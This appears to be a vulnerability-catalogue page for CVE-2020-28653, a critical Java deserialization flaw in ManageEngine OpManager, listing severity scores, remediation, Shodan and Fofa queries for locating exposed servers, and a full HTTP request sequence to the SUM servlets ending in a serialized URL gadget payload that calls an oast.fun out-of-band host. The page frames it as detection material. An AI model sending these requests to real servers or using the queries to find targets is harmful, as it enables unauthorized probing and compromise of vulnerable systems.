🔙 목록으로 돌아가기

CVE-2020-28653: ManageEngine OpManager SumPDU 12.1 - 12.5.232 - Java Deserialization

Title	ManageEngine OpManager SumPDU 12.1 - 12.5.232 - Java Deserialization
Author	iamnoooob,pdresearch
Severity	Critical
Impact	Remote attackers can execute arbitrary code on the server, potentially leading to full system compromise.
Remediation	Update to build 125203 or later.
CVSS Score	9.8
EPSS Score	0.88711
CVE ID	CVE-2020-28653
Shodan Query	http.title:"opmanager plus"http.title:"opmanager"
Fofa Query	title="opmanager plus"title="opmanager"
Tags	cve cve2020 packetstorm java deserialization rce opmanager intrusive vuln vkev

🔍 Vulnerability Description

Zoho ManageEngine OpManager Stable build before 125203 (and Released build before 125233) allows Remote Code Execution via the Smart Update Manager (SUM) servlet.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

POST /servlets/com.adventnet.tools.sum.transport.SUMCommunicationServlet HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Transfer-Encoding: chunked
Content-Type: application/octet-stream
Accept-Encoding: gzip

0

POST /servlets/com.adventnet.tools.sum.transport.SUMHandShakeServlet HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Safari/605.1.15
Connection: close
Content-Length: 10
Content-Type: application/octet-stream
Accept-Encoding: gzip

��w�

POST /servlets/com.adventnet.tools.sum.transport.SUMCommunicationServlet HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14816.131.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Content-Length: 403
Content-Type: application/octet-stream
Accept-Encoding: gzip

_��srjava.util.HashMap���`�F
loadFactorI	thresholdxp?@wsrjava.net.URL�%76��rIhashCodeIportL	authoritytLjava/lang/String;Lfileq~Lhostq~Lprotocolq~Lrefq~xp��������t2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.d5jos7ple0o1j21rripguup7qmutc53w3.oast.funtq~thttppxt9http://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.d5jos7ple0o1j21rripguup7qmutc53w3.oast.funx

📚 References

http://packetstormsecurity.com/files/164231/ManageEngine-OpManager-SumPDU-Java-Deserialization.html

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-28653.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-28653.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.

Snort 2 Rule

N/A

Snort 3 Rule

N/A